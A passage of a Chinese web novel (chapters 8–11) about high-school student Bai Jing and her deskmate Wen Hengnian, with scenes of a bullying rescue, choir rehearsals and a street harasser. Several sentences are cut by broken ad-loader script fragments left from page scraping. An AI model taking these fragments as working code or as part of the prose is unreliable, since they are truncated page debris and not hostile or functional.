柏璟显然也看到了,伸手指了指她:“对我朋友做什么呢?要我报警吗?” “真搞笑,这小贱人还有朋友?”那人毫不掩饰的嘲讽,还不忘推校服女生一把。 “现在有了,我也给你两个选择,要么让我把人带走,要么咱们派出所再会面。”柏璟说着,拿出手机就要拨电话。 蓝发女急了想冲过来抢手机,被挡在两人中间的温恒年逼停:“还想动手?再往外可就有监控了。” 女生狠狠的瞪他一眼,把自己冒出来的那股怂意归结为对方人多,撂了句狠话便绕开他们走了:“让那贱人等着,这事儿没完。” 直到人影儿都看不见了,校服女生才颤巍巍扶着墙站起来,期间不知道碰到了哪处的擦伤,她低声呼痛:“嘶。” 救人行为一时爽,等完事儿了之后,柏璟还真不知道怎么去安慰受害者。 半天憋出三个字:“没事吧?” 女生走出来,借着微微的路灯光亮,柏璟才把她的样子看清楚。 狼狈两个字形容 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都不为过。 女生脸上青一块红一块,额角处还在渗血,校服也烂了几块儿。 柏璟有些不忍心的转头:“要不要送你去医院?” 女生摇头说:“不用了,谢谢你们。” 她抬头看,眼神在温恒年身上短暂的停顿了几秒,在对方看过来后又慌乱的低下头。 “我先回去了,我会找机会报答你们的。” 说完,急匆匆的离开了。 柏璟一阵儿失语,闷声说:“我有这么可怕?居然把人吓跑了?还没留个联系方式呢,要是以后闹到派出所,连个人证都没有。” 温恒年对这人清奇的脑回路感到可笑:“那个校服跟我们一个学校的,说不定之后还能见到,到时候你在发扬你伟大的精神主义也不迟。” 这个时间点叫车的人多,都是喝的差不多了要么回家要么紧接着再来一场的,空车并不好等,更别提中间还耽搁了一会儿。 好不容易拦到一辆,温恒年给走路还不太稳的柏璟开了车门,随后绅士的坐进了副驾驶。 给司机报了地址,女生便歪着身子靠在后座上,到她住的地方还有一段距离,她想趁着这个时间眯一会儿清醒一下。 可惜有人偏偏不给她这个机会,刚闭上眼没几秒钟,手机像招了邪似的叮咚响个不停。 柏璟点开去看,是池潭生的信息轰炸,她又转眼往上看时间,还不到零点。 这是笃定了这个时间她不会睡,所以特意来骚扰的? 柏璟原不想搭理他那么多,下一秒,那人便打了电话过来。 副驾驶座上的人通过后视镜看了眼颇显无语的女生:“怎么?有别人在不方便接?” 他口中的“别人”应当指的就是他自个儿。 “不是。”柏璟摇了摇头,她随手把电话挂断,回复: 【有事打字说】 那边的聊天框跳动了几下,发过来一串文字: 【这么心虚?是不是背着我有别的狗了?】 这话很难不让柏璟以为对方喝了假酒: 【到底什么事儿】 下一条消息是语音,柏璟点开,池潭生沙哑的嗓音在车厢里回荡,像破旧掉的风琴:“柏璟,你都不知道想我吗?可是我很想你。” 也不知道是抽了多少烟。 她敷衍那人: 【想,想的睡不着】 “就知道你丫爱当面装矜持,其实背地里可喜欢我了吧。”池潭生说。 柏璟低声骂了句“神经病”,没再理他。 在她眼里,池潭生更像是个小孩儿,幼稚到不行,无数的消息只是为了求证什么目的一般。 认识的时间太久,柏璟早已习惯他的做派,也挺愿意哄着他来。 她抬头,视线正落到车中间的镜子上,里面有一束目光不知道盯了自己多久。 窥探被当事人发现,温恒年也没有不好意思,只轻轻咳了一声:“男朋友?” “发小。” 那人若有所思:“挺好。” ? 柏璟不解,挺好什么? 下车之后,柏璟思考着要不要把车钱给付了,还没想明白,便听到那声音又说:“去君御酒店吧,车费到时候一起付。” “你不回家?”柏璟下意识问道。 “家里人睡得早,这个点回去会吵醒他们。” “喔。” 温恒年笑了声:“回去吧,早点休息,明天见。” 8. 酩酊 次日上午 黎妆整个人蔫巴着趴在桌子上,第无数次发誓自己以后再也不喝酒。 柏璟把她这话全当做放屁。 “咱们昨天怎么回去的我都记不清了。”黎妆慢慢吞着杯子里的温水,胃部被这一点热度浸淫之后才好受一丁点儿。 “简侵送你回去的。”柏璟说,“其他人各自打车,温恒年我们俩打的一辆。” 她说完,想起来中间的插曲,补充道:“还顺手见义勇为了一把。” 黎妆:“?” 怎么个事儿?她无精打采,只能用眼神示意柏璟往下说。 “你们从金k离开后,温恒年我俩碰见一个女生,被人堵小胡同里了,看见了就顺便帮一把。” 黎妆压抑着胃里的翻涌,皱眉:“襄城这地方可不比扬市,你家老头儿手眼通天也伸不到这儿来,凡事小心一点,下次碰见这种事儿好歹先跟我招呼一声。” 柏璟瞥她,虽然没说话,但是黎妆偏偏从她眼里瞧出了几分揶揄。 哦对,她昨天晚上喝大了来着。 “这个点儿了,温公子还没来,估摸着又要被罚站。”黎妆伸了个懒腰舒展一下身子,眼神匆匆扫过旁边某个位置。 柏璟问:“他总是迟到吗?” 黎妆想了想,道:“从我认识他以来,都几乎没见过他准时准点来学校,之前,不熟不好过问,后来简侵告诉我,大概是因为他家里?” 想起来昨天晚上温恒年因为怕吵到家里人睡觉而选择去外面开酒店。 柏璟天真的以为他跟家人关系应该不错。 如黎妆所言,第一节课过半,温恒年才出现在教室门口,英语老师是个好说话的,只是口头教育了一下,没有处罚,摆摆手让他回位置上了。 高三时间紧迫,第一天班会过后就算是正式开学了,柏璟跟温恒年中间那个没人坐的桌子也被搬到了角落里用来放一些杂物。 现下两人只隔着半臂的距离。 温恒年回位置坐下时,柏璟正侧支着身体记笔记,那人带来的风从她耳侧刮过,下一秒又回归平静。 柏璟记忆中某个点突然浮现出来,控制不住自己的眼神往少年脸上瞧。 巴掌印已经很浅了,不仔细看根本看不出来什么。 “恢复的还挺快。” 她咕哝一声。 以为在跟自己说话的温恒年微微凑近一些:“什么?” 被余光中突然放大的面孔吓了一跳的柏璟往旁边躲了一下,心跳都跟着紧张半分:“……没事。” 大课间时班长把人召集回来,黑板上板板正正写着几个粉笔大字:开学典礼。 “下周一要举办开学典礼,咱们虽说是高三了,但是学校还是给每班一个表演节目的名额,你们有什么才艺都可以报一下,到时候内部选举出来一个代表咱们班参加。” 见无人吭声,班长只得打感情牌:“高中三年,眼看着只剩下不到一年的时间了,你们难道不想给以后的自己留下一点儿美好的回忆吗?” 听着班里逐渐增加的骚动,柏璟心想:这何尝不是一种超能力呢——班长的演讲。 “温恒年,高一的时候你不是代表学校在校交流会上弹过钢琴吗?要不再展示展示?”在上面说完,觉得效果并不大的班长又开始逐个劝说。 温公子并没有要给她面子的模样,眼皮一掀,语气不掺感情道:“学校为了装b录了音放的唱片而已。” “……你再考虑考虑吧,要是改变主意了可以随时来找我报名。”班长的脸色肉眼可见的由白到青,憋了半天气之后好言好语说了最后一句。 “这种吃力不讨好的事儿,没几个人会答应的。”眼看着班长又要去找别人,黎妆耸了耸肩小声跟柏璟说着,“这么关键的一年,选定加上排练就得好几天,谁会浪费这个时间。” 接着她向温恒年挑挑眉,似乎在问你觉得呢? 温恒年把她的眼神暗示屏蔽掉,慢悠悠道:“我是真的不会。” “少来,那年文艺交流会,我也是听过你现场的。”黎妆白他一眼,略带些嫌弃,“虽然没有别人口口相传的那么牛.逼,但是也还算听的过去。” “那你知道为什么别人都夸吗?” 黎妆不解:“什么?” 温恒年嘴角一扬:“我帅。” “……” 骚的很。 黎妆被恶心的直装干呕状,浑身恶寒劲儿下不去。 柏璟却对那两个字挺赞同。 她在扬市那地儿也算是见过好几种类型的帅,不说别的,单在身边时常环绕着的池潭生,便是数一数二的好看。 两个人长相天差地别,池潭生帅的很有辨别性,男生女相,又蓄了半长的小辫儿扎在脑后,远远儿望去是有那么几分雌雄莫辨。 而温恒年则是如玉般,让人一眼看上去很舒服,觉得很好接近。 可惜这是表面功夫。 眼看着相处这几天,柏璟在温恒年身上还是找到了些跟池小少爷相似的某些特征—— 说话又欠又拐。 只不过,池潭生是明着犯贱,温恒年则是闷骚的很。 她有一种错觉,如果这俩人对上,说不定能混到一块儿去。 中午吃饭的时候,黎妆生理期提前驾到,疼的她整张脸皱成一团。 早几天喝的冰啤酒和各种辣食,这会儿都争先恐后的教她做人。 整一个儿祸不单行。 柏璟很了解她的情况,知道她一疼起来整个人都如同在冰窖里走了一遭出来似的。 黎妆终究还是没撑到放学,下午第二节下课柏璟陪着给她请了假。 这下让本就没来得及交朋友的柏璟一下子落了单。 直到班里人快走完,柏璟才开始收拾自个儿的东西。 温恒年是少有的跟她一样不着急回去的,只是自己是避免太多人一起走的尴尬,对方是为了什么就不得而知了。 学习委员打扫完卫生,见班里新同学还在,便主动招呼:“哎哎,你刚来这个学校没多久,不知道这儿周围的环境,为了安全还是早点回去的好。” 柏璟:? 学习委员严肃着:”咱学校离职高不远,那里面都是些混子,老是跑一高这边骚扰我们学校的女同学,你这么好看的少不了会被盯上,还是小心点儿吧。” 总归是善意的提醒,柏璟跟他道了声谢:“马上就回去。” 柏璟收拾完东西,伸懒腰打哈欠的动作一气呵成,揉了揉有些发酸的眼尾,手臂将要放下来的时候。 “啪嗒” 似乎碰到了什么东西掉地上。 她低头去看,弯腰捡起来之后,是只粉色的塑胶凯蒂猫。 她举着这小玩意儿递给温恒年:“你的?” 趴在桌子上的少年终于舍得分出来一丝目光看向她,瞳孔聚焦把那个塑胶小玩偶看清楚之后,接了过去随手放进背包里:“谢了。” 这小东西是温怡竹非要塞给他的礼物,小孩子满脸诚意,又是私下里给的,没有当着别人的面儿,他没办法只能收下,没想到今天给带出来了。 出了校门,旁边街对面两条路都是卖小吃的,煎饼果子,炸串,鸡蛋饼,不计其数的摊子,柏璟一一路过,最终停在了一个卖甘梅薯条的小车前: “阿姨,分大小份吗这个?” 卖薯条的阿姨看上去格外慈眉善目,天生一副笑脸样:“分的分的!只是今天剩下的份量刚好做一大份了,你要吗?” 柏璟看了眼装薯条的纸碗,点了点 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 头:“那就大份吧。” “好嘞。”带着一次性手套的阿姨递过来一个收款码,一边夸着,“小姑娘长的细皮嫩肉的,真好看。” 挺漂亮的。 这是大多数人对柏璟长相的评价。 所谓美人的标准。 杏眼尽显无辜,微微翘起的樱桃唇,小巧而高挺的鼻梁,身形纤纤。 柏璟一个都不占。 她双眼皮并不明显,眼尾扬起,眼皮薄的很,唇也薄。 有人说她天生一张薄情脸。 综合这几年的经历来看,某种意义上确实没错。 她是驼峰鼻,右边眉毛上方和左边前眼角处各有一颗小痣。 特别小的一个,却颜色又特别深,像用水笔刻意点上去的一样。 被阿姨这么一夸,柏璟很是受用。 温恒年跟她前后脚出的学校,走到小吃摊旁边时,恰好把摆摊女人夸柏璟那句听在耳里。 他对漂亮这个词的边界感很低。 记忆中,母亲和小姨算是漂亮, 只是难免会觉得自己是不是带了几分亲情色彩在里面。 他仔细端详了柏璟的面孔,女孩儿正浅浅的笑着扫码付款。 唇角微微勾起,便画出一张画来。 他愣了愣神,低头压低帽沿,路过了正欢喜着的柏璟。 回到家的柏璟开始庆幸她运气不错,没有碰上学习委员说的那群社会人,薯条一路走回来的时间里已经被她吃完,肚子被填饱的感觉很不错,也就想起来上午看到的柏盛昌让她有空回个电话的信息。 她是不太愿意跟柏盛昌有太多交流的,跟母亲去世这件事儿无关。 柏璟早熟的很大原因都来源于家里。 从小时候她便知道父亲或许并不爱母亲,否则怎么会在外面莺莺燕燕不断呢? 她的母亲是个标准的漂亮女人,这点不可置疑。 感情色彩尤为丰富, 亲情,友情,爱情,毫不吝啬的分享给周围的人。 柏璟自以为母亲给了父亲足够的爱意,父亲也应当回报之相对应的感情。 可惜越长越大,目睹了父亲身边一个又一个不同的年轻面孔,母亲开始随着时间枯萎。 像一朵花,从含苞到怒放,最终也凋落于尘埃。 大约是从小耳濡目染,柏璟的感情观受了很大的影响。 黎妆或许说的没错,她不懂得怎么去喜欢一个人。 至少目前为止,是这样的。 如果说母亲去世前,她还愿意装装样子当个乖女儿,那么自母亲离开那天起,在她眼里,跟“妈妈”这个头衔一起消失的,还有“父亲”这个身份。 柏盛昌倒是对她一如既往,生活费大把大把的给。 不过感情作风也跟以前没什么两样,一些逢场作戏,一些玩玩而已。 她拨通备注为“柏盛昌”三个字的手机号,那边响了很久,终于在快被挂断的时候被接了起来。 似乎很久没有这样沟通过,柏盛昌尴尬的清了清嗓子:“阿璟?” 柏璟“嗯”了一声,问他:“要我打电话有什么事儿吗?” “不是什么大事。”柏盛昌吞吞吐吐道,“外婆那边寄来了你.妈妈之前的一些衣物,老人家大概以为你还在扬市,直接送家里来了,你看是给你寄过去还是就先放在老宅这儿?” 柏璟没等他话音落:“我给你地址,直接寄给我就行!” 柏盛昌应了声,柏璟又道:“还有别的吗?” 没了。 电话被挂断,柏盛昌扶额,揉了揉突突发痛的太阳穴,叫了助理把东西整理起来,打算明天天亮寄走。 他这个女儿,只有在牵扯到自己妈妈的事儿时,才会多跟他说几句话。 9. 酩酊 柏璟不是个多梦的人,却在这晚被梦中事缠身。 喘息着睁开眼,正对上的是透过窗帘缝隙照进来的晨光。 她一时间有些反应不过来,以为自己还在扬市。 半晌过去,头脑清明之后才想起来已经来襄城好多天了。 大约是昨天晚上柏盛昌提起了自己的母亲,所以才会在梦中看见已经很久没见到过的面孔。 说起来她还得谢谢那男人,都说梦见一个人就是对方在想自己。 生者和死者度过的时间标准一定不一样,否则怎么这么多年过去,她才第一次梦见那张脸呢。 起身把窗帘狠狠拉上,那道明明不起眼但在她眼中却觉得刺的慌的光被隔绝在厚厚的布料之外。 这屋子跟她刚搬进来的时候已经没什么一样的了,暗色的墙纸堆砌起来铺贴在原本花里胡哨的墙面上,窗帘也被换成了遮光效果极好的。 房间一下子暗下来,柏璟光着脚走到门口开灯,地面上铺了一层软地毯,倒也不是那么硌脚。 黎妆因为身体原因请了好几天假,生理期的痛苦折磨的她死去活来。 在请假条上签字前,还不忘拖着虚弱的语气半威胁的叮嘱温恒年替自己照顾好柏璟。 柏璟头疼的觉得有些尴尬,她哪儿需要什么人来特殊照顾? 手机里安安静静的,唯有一个红点显眼的很。 那是一条好友申请。 柏璟随手点了通过,对方很快发来一条消息:【我是温恒年】 这句话让正在喝果汁的柏璟手心一颤,下一秒又猜到是大概是黎妆推过去的。 【嗯】 简单的回复了一个字,柏璟把手机连接上充电线便没再管。 洗漱完回来,消息已经多了好几条。 【醒这么早?】 【我正好通完宵准备去吃早饭,离你住的地方不远,不介意的话一起?】 中间隔了几分钟,应该是看她没回复觉得尴尬,那人又道: 【黎妆总说你饿一顿饱一顿,让我多看着你,不想出来的话我顺路给你送过去?】 顺哪门子的路? 柏璟用毛巾把被水打湿的发丝擦了几遍才回复: 【刚在收拾,我去找你出去吃】 屏幕上闪动一下,纯白色的头像说: 【好】 温恒年发来一个定位,柏璟看了下地图,确实不远,也就五六百米的距离。 温度显示今天是阴天,柏璟从衣柜里翻出一件薄款的冲锋衣,搭了一条及膝工装裤。 她很爱这种休闲风,穿在身上宽松又舒适。 早餐店门口排了一长队,柏璟艰难的穿过队伍,进到店里才看见门口一桌坐着的温恒年。 只不过桌子上不止有他,还有另外一个人。 是之前在KTV一起玩的一个男生。 宋京承看着不远处观察着自己这桌的漂亮女生,从脑子里搜索了半天在哪儿见过,终究还是没想起来。 身子往旁边侧了侧说:“温哥,那个美女一直在看我,是不是想来要我的联系方式?” 温恒年不轻不重的瞧他一眼,对着那女生勾了勾手:“过来坐。” 宋京承头皮紧了紧:“你认识?” “我同桌,黎妆发小。” “我靠。”宋京承这才突得想起来,“上次在金k那个?” 温恒年没接话,眼神随着柏璟的脚步一点点挪回来, “你好啊,我们见过的,之前在金k的时候。”宋京承抽了几张纸擦了擦手,热情的伸出去要跟柏璟握手。 温恒年轻描淡写的回握过去:“不用理他,吃什么随便点。” 宋京承被这么一拦,悻悻的安分下来,说话还是不着调:“对对对!想吃什么都行,我请客!” 旁边人把外套拉链往下拉了拉,一只手骨节分明从桌子上的白糖罐舀出半勺放进碗里:“谁在网吧打了半宿1v1,一把没赢过各种不服被迫请吃饭的?” 这动作把宋京承的目光吸引了过去,他看了看温恒年身上的那件,又去瞟柏璟身上那件,福至心灵似的: “是我,是我。” 柏璟没听懂这两人之间的神秘操作,问老板要了碗豆浆,两个豆沙包和一个糖饼。 桌子是圆形的,柏璟偷偷看了眼旁边的温恒年。 熬了一晚上的少年脸色不太好,唇色微微发白。 她这才后知后觉,温恒年似乎就是很白的一个人,什么颜色对比起来都不显黑的那种白。 “对了美女,你叫什么来着?那天黎大小姐提了一句有点记不得。” 对面的男生话挺多,柏璟简单的留了个印象。 “柏璟。”她道。 “我宋京承,你之前在哪儿上学啊?之前好像没见过。” “在南方,扬市那边。” “哦…那你…”他还要追问,便被温恒年在桌下踢了下小腿。 “话那么多?吃不吃了?” 宋京承:“……吃,吃。” 柏璟吃东西速度很慢,咬一口要嚼很久,这是从小在什么电视节目里面看到的,说对什么有好处。 时间一长便养成了习惯,不多嚼一会儿咽不下去似的,每次出去吃都要被池潭生吐槽一句烂毛病。 她跟温恒年都不怎么说话,唯有那个叫宋京承的一直在絮絮叨叨,一个接一个的话题,没人接茬也不尴尬,自说自话的。 “连着两天不回去,你爹安排的那个人形摄像头也不回去告状啊?”男生问。 提起他爹,温恒年有点烦躁,却不浮于表面:“温怡竹生病住院,他没空管我。” “啧,这小妹妹身体实在不好,三天两头给医院交钱。”宋京承摇头又叹气。 话到这儿柏璟才接了句:“你还有个妹妹?” 这话一问出口,从她坐下嘴就没停过的宋京承突然诡异的沉默下来。 “?”柏璟停止进食,诧异的去看。 温恒年面色不改:“嗯,有一个。” 宋京承欲言又止的想说什么,张了张嘴之后给自己塞了个水煎包,到底还是没说出去。 柏璟点的东西少,吃完的速度跟两人差不多。 “得了,昨天晚上是我手气不好,下次咱再约,我就不信赢不了你。”宋京承想起来昨天晚上的战绩就气的牙痒痒,暗自发誓回去之后一定要多练,争取以后输的不那么难看。 温恒年一只手插在口袋里,另一只挥了挥:“祝你成功。” 这话像是在嘲讽,宋京承扁了扁嘴,眼神又在两人身上流转几番,随后上了摩托:“走了走了,真是看不下去。” 柏璟纳闷着,不懂他的意思。 往温恒年那边去看,哑然了。 他们二人的衣服是有些过分相似了,只袖口和领边的花纹不一样。 乍一眼看上去,像情侣装。 意识到这点,柏璟才明白宋京承那明里暗里的无语是因为什么。 “……品味不错。” 她复杂的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看了眼温恒年,对方挑眉,似在问她怎么了。 学校这会人已经不少了,门口有几个学生会值岗,其中一个看见温恒年,有些惊讶的拦下他:“今天怎么这么准时?” 哦对,旁边这是个迟到常客。 “发奋图强了,决定了要好好学习天天向上。”温恒年说罢,要笑不笑的扯了下嘴角。 这学生会的高一跟他一个班,深深了解温恒年个性,笑着锤了下他肩膀:“少来,,我还不知道你?要不是你那成绩,老师会对你迟到这事儿睁只眼闭只眼?” 随后又看见了后面的柏璟,眼神示意了一下,悄声问:“远远儿的就看见你俩了,刚开始没把你认出来,还以为学校哪对儿小情侣这么大胆敢在学校穿情侣装,我都准备好问班级名字扣分了。……怎么?你女朋友啊?” 男生轻轻扫了他一眼:“同班同学同桌。” “真漂亮啊,怎么长的好看的都挤你们班去了?实在不行我也跟老师说说转过去?” 温恒年挺直身形:“我们班男生,身高打底都是180起步,你再长两年吧。” 学生会那人被气笑:“赶紧走,要不然我记你违规了。” 教室里 班长在讲台上写着什么东西,周围几个女生围着她,你一句我一句的,时不时还指指本子上到内容。 走近了些柏璟听到:“我是独唱,李融她们几个才是合唱,班长你别写错了。” 这是在安排开学典礼的节目。 一群人全神贯注这一件事儿,丝毫没注意到进来的人。 走到座位上之后,前排背单词的同学才发现,往日里不到开始上课绝对空位的那张凳子上坐着一个人影儿。 那同学拼写背到一半,卡阖似的噎住了:“sti……唉?” “still”温恒年替他说下去,“静止的。” 像被施了魔法,这一刻班里真的静止了一样。 温恒年没迟到真是一件罕见的事情,隔了老远的班长手中握着的笔都掉了,眼神愣愣的贴在他身上,嘴里说了两个字。 柏璟看了眼嘴型,大概是“我靠”。 她往旁边坐了坐,离温恒年太近,那种被注视着的感觉就会连累到自己。 门外传来脚步声,台上的女生们一哄而散,班主任进门之后看了圈座位。 不出意外的,在温恒年这个方向多停留了几秒。 班主任不愧见多识广,反应跟别人都不一样,只微微惊讶了一瞬,随后点了点头表示赞许,又移开目光:“开学典礼是挺重要,不过学习的时间更紧迫,多纠结一秒就浪费一秒,不要因小失大。” “黎妆身体不舒服请了三天假,下课之后我把这几天的卷子和应背内容打印出来,柏璟你带给她。” 刚刚还在因为娱乐活动而兴致勃勃的几个人在听完这话之后瞬间萎靡,有人小声抱怨着:“这么紧张干嘛还给我们参加的机会。” 班主任不知是听到没听到,平静着让班长把报名单给她:“唱歌选一个合唱就行,温恒年钢琴伴奏。” 被点名之后的温恒年:“……” 他还不如迟到。 独唱被刷下来的那个女生抿了抿唇,不知是不是故意的,移动凳子声音大了些:“老师,我要去厕所。” 她心有不满,班主任也能体谅,毕竟青春期,少年少女们的心思都格外敏感:“去吧。” “剩下的高三期间,这次的文艺活动是最后一次了,所以咱们全班都上,也算人人有参与。” 10. 酩酊 把班主任交给自己的各科资料捏在手里,柏璟才真切的有了点高三的压力。 厚厚的一沓手感还真实在。 黎妆的妈妈是远嫁,外婆家一直住在襄城,柏璟跟这位老太太并未见过面,只在跟黎妆打视频电话的时候偶尔说上一两句话。 按照黎妆之前发给自己的定位走到一栋平楼前,她抬眼看了看门牌号。 就是这儿了。 大门没关,院儿里面栓了条黑狗,体型巨大,让柏璟有些心生害怕。 她不太招小动物喜欢,从小路过街口的流浪狗,她属于必被追着跑的那一挂。 襄城这两年发展不错,黎妆的妈妈有意给老人家在小区买套房住,被老人拒绝了。 听黎妆说,老太太的意思是住了将近一辈子的老地方了,看见周围熟悉的事物和人,她舒坦,死活不愿意搬,这事儿也就此作罢。 进了大门往前走,右手边是厨房,正对着的还有一扇小门。 开了门就是客厅,跟柏璟想象的不一样,外面是比较旧的,屋里面却各种家电齐全,皮沙发前茶几是玻璃的,再看就是一台五十寸的电视。 黎妆听见脚步声,套了个睡衣就出来迎接她,在看见柏璟手中的东西之后,又皱起一张脸恨不得回屋重睡:“老班还真是一天都不放过我啊。” “外婆不在家吗?”柏璟四处瞧了瞧问道。 “老太太去邻居家搓麻将去了,年纪大了业余活动比我都多。”黎妆揉着酸痛的腰,给她接了杯热水。 走近了些之后,她又顿了顿:“你这衣服,我怎么瞧着那么眼熟呢。” “?” 黎妆想了半天,又说:“哦,温恒年好像也有一件。” “……” “我看班群里面都在商量今年的大合唱选曲,大多数都想唱流行歌。”黎妆说着,“我这破锣嗓子,也不知道能不能发出来声音。” “你倒是少抽点烟。”柏璟微微扬了扬眉,“成日里烟雾缭绕的,也不怕熏着外婆。” 对方嘿嘿笑了两声:“她嫌我房间太乱,从不进我屋。” 语气还挺自豪。 “不过班长是怎么劝定让温恒年伴奏的?根据我对这b的了解,他不想做的事儿,十头驴拉着他也赶不出去一步。” “班主任钦点的。” “原本还想安生当个观众,倒是没想到老班会来这一茬儿。不过也好,毕竟最后一年了,留点儿回忆。” - 从黎妆家出来天色已经完全暗了下去,老太太打麻将入了迷,直到柏璟走都没回家。 柏璟不想打车,估算了一下回去的距离,是可接受范围之内,干脆走着,权当散步了。 襄城晚上还是很热闹的,街边卖东西的小摊一到天黑就都支了起来。 路过公园广场时,隔老远都能看见人群熙熙攘攘,大多都是家长们带着孩子出来玩。 人一多她就浑身不自在,把衣领往上拉了又拉,直到盖住下半张脸,柏璟才以一种奇怪的姿势继续往前走。 不远处路边一小撮人一边指了指她,接着起哄了几句,把话题往柏璟身上扯去,其中一个中分男朝着柏璟走过来, 在那人还没走近前,柏璟往旁边躲了躲,可惜她低估了那人脸皮的厚度,一边跟上来一边跟她招呼:“哎,认识一下呗?” 柏璟昨天晚上休息的不是很好,在黎妆家坐着就已经开始犯困,这点儿运动量正好让她晚上睡个好觉, 她打了个哈欠,没搭理那人。 以往搭讪的女生要么红着脸把联系方式给她,要么因为害怕快速走开躲得远远的。 可能是第一次遇到柏璟这种高冷型,中分男显得有些兴奋:“美女,别装听不见嘛!相遇即缘分,以后可以多约着一起出来玩啊?” 玩你妈。 柏璟心里骂着。 “你还在上学吧,哪个学校的啊?你放心,你要是碰见什么事情,或者看谁不顺眼,告诉哥,包你没事儿的。” “你啊。”柏璟轻飘飘吐出两个字。 那人没明白她是什么意思,还在笑嘻嘻的:“什么?” 柏璟转头看向他:“看你不顺眼。” “你他妈?”中分头瞪大眼睛,接着又把剩下的脏话咽回去。 漂亮的人脾气大点也是可以理解的。 “交个朋友而已,我又不对你做什么你说是吧?”他继续厚着脸皮。 要是能把这女的拿下,回头够他跟那群狐朋狗友面前炫耀的了,光吹牛.逼都能吹好几个月的,更别提带出去玩得多有面子了! 眼看这纠缠没完没了,柏璟被闹得烦的不行,眼底一冷:“滚蛋。” “我草?”被再三拒绝,中分男怒气上头,被一女生这么骂还是第一次。 管他妈多漂亮! “给脸不要脸是不是?” 他说着便要伸手去扯柏璟的胳膊,却被早有预料的女生躲了个空,这下子他脸面更挂不住了,耳朵里逐渐传来跟他一起那几个朋友的嘲笑。 意识到自己在别人面前丢了脸,男生一怒便想动手。 柏璟虽然平时脾气不好,但从小到大因为柏盛昌的保护,也都是别人见了她就低声下气的讨好,到底没碰到过这种人,更别提动手打架。 她皱着眉头往人多的地方走去,也不管认识不认识,硬是挤进几个人中间。 正在吃串的几个人突然钻进来个面色冷冷的女生,宋京承有点懵逼, 定睛一看,有点眼熟。 再仔细观察了一下,这不温恒年那同桌吗? “你,你是那个……柏璟?对吧?”宋京承拍了拍额头,手里的竹签差点扎到旁边的人。 她先前只顾着躲人,没想到歪打正着还真让她找到个脸熟的。 柏璟一边说着“你好”一边回头去看,那中分头大约是看见自己有认识的人在,没再跟着过来,这会儿已经跑了个没影儿了。 宋京承见她一直往后看,便问:“怎么了?找我有事儿?” 自己的目的达到,也不用在跟宋京承牵扯什么。 但毕竟也是利用人家才能脱身的,出于礼貌,柏璟还是用一个烂借口解释了一下:“没事儿,就是觉得你眼熟,过来确认下是不是你。” 宋京承:“哦。” 好在这人神经粗,也不知道听没听出来她在敷衍,没再问什么,也算是应付过去了。 回到家,柏璟整个人泡在浴缸里的时候,浑身才舒服了不少。 想起来回家路上那出戏,她感叹着—— 电视剧里面那句话说的确实不错:人与人的区别,真是比人与猪的区别都大。 泡完澡出来,她录了个到家的视频顺手点开微信最上方那个消息条发过去:“到家了。” 这是黎妆嘱咐的,为了确保她的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 安全。 从冰箱里拿瓶饮料再回来,她点开手机上的未读信息,一个纯白色头像的消息框里静静地躺着一个问号。 操蛋的人生。 柏璟轻声骂了句,她没几个人能联系的,便以为黎妆还是最近联系人,却忘了早上刚跟温恒年聊过天。 那条视频没发给黎妆,却发给了温恒年。 叮—— 电竞房里,手机的消息提示音把温恒年的注意力从游戏中拉出来,通过锁屏上的备注能看到是柏璟二字。 他迟疑了一下,下一秒,电脑屏幕变灰了。 点开消息看了下,是个视频。 封面看上去还挺惊悚,模糊放大的五官像一张抽象的写实油画。 视频播放出来,女生的面貌也随着进度条清晰起来,随后就是一句脆生生的“到家了”回荡在包间里。 听见这动静,原本打麻将的几个人也顿住了,坐他旁边打游戏的宋京承注意到这画面之后凑近身子看了看:“哟,柏璟啊?” 温恒年把人推开,骂他:“滚远点。” 随后发了个“?”询问对方什么意思。 那边很快回复:【……】 然紧接着无力却又试图解释:【发错了,想发给黎妆的。】 宋京承狗皮膏药似的又贴过去想要看他回复的什么:“你们不就同班同学的关系吗?什么时候同桌之间已经发展到了需要回家之后互相发视频报平安的地步了?” 温恒年“啧”了一声,他缩了缩脖子,没再偷窥。 只不过犯贱是他们这群人的常态,很快又嬉闹着,不依不饶:“说起来那会儿我还碰见她了,就在找你之前,阿涛我们在路边吃关东煮的时候。” 温恒年对了下时间,也没多久。 “你还真别说,柏美女还挺有礼貌,看见我还过来给我打了个招呼。”宋京承说着,才后知后觉察觉出来不对劲,“哎我草,不对,她那时候应该是碰见什么事儿了吧?我看她一直往自个儿身后看。” 温恒年没接这茬,起身拿着烟盒和打火机:“我出去透透气,你们先玩。” 倚靠在门口抽烟,温恒年鬼使神差的又把那视频播放了一遍,也就两三秒,眨眨眼就没了。 柏璟长相属于淡颜系,看上去薄情,难搞的很。 他轻笑声,又想起来视频的封面,是能做个表情包的程度。 脑子里不受控制的回忆起来那天柏璟笑着跟卖薯条的摊主对话的场景,只一瞬,那个笑就像画画似的立刻在眼前画了出来。 不太对劲。 温恒年夹着烟的手指颤了颤,又深深的抽了一口,将烟头捻灭在旁边垃圾箱上的烟灰缸里。 再回到包间时,宋京承觉得这b出去抽根烟抽的整个人都神清气爽起来。 他纳闷的看了眼烟的牌子,还是之前抽的那个啊? 柏璟解释过后,几乎隔一分钟都要看一眼手机上的信息,这么重复了十多次后,那边才有了新回复:【嗯】 她刚想松一口气,便又看见新的消息。 是一张图片。 柏璟点开,太阳穴狠狠地跳动了一下,是她视频的截图,被编辑了几个字。 图片中她表情很淡,稍稍有些两眼无神,还能看出些肉眼可见的疲惫,最下方用四个白色大字概括了一切—— 面无表情。 那混蛋把她做成了表情包。 11.酩酊 最终班级合唱曲目定为了《送别》。 班长组织着下午第三节体育课去小礼堂排练。 今天轮到柏璟这组做值日,早上扔垃圾的时候温恒年还没来,她只能自己一个人去。 垃圾桶在教学楼后面,途径一个角落。 这地方看上去不像是有人会特意来的地方,可偏偏今天就是让柏璟碰上了。 一个女生穿着跟身形完全不匹配的校服外套,在拐角处直直撞上柏璟。 “嘶…” 那女生惊呼一声,急忙弯身道歉:“对不起!” 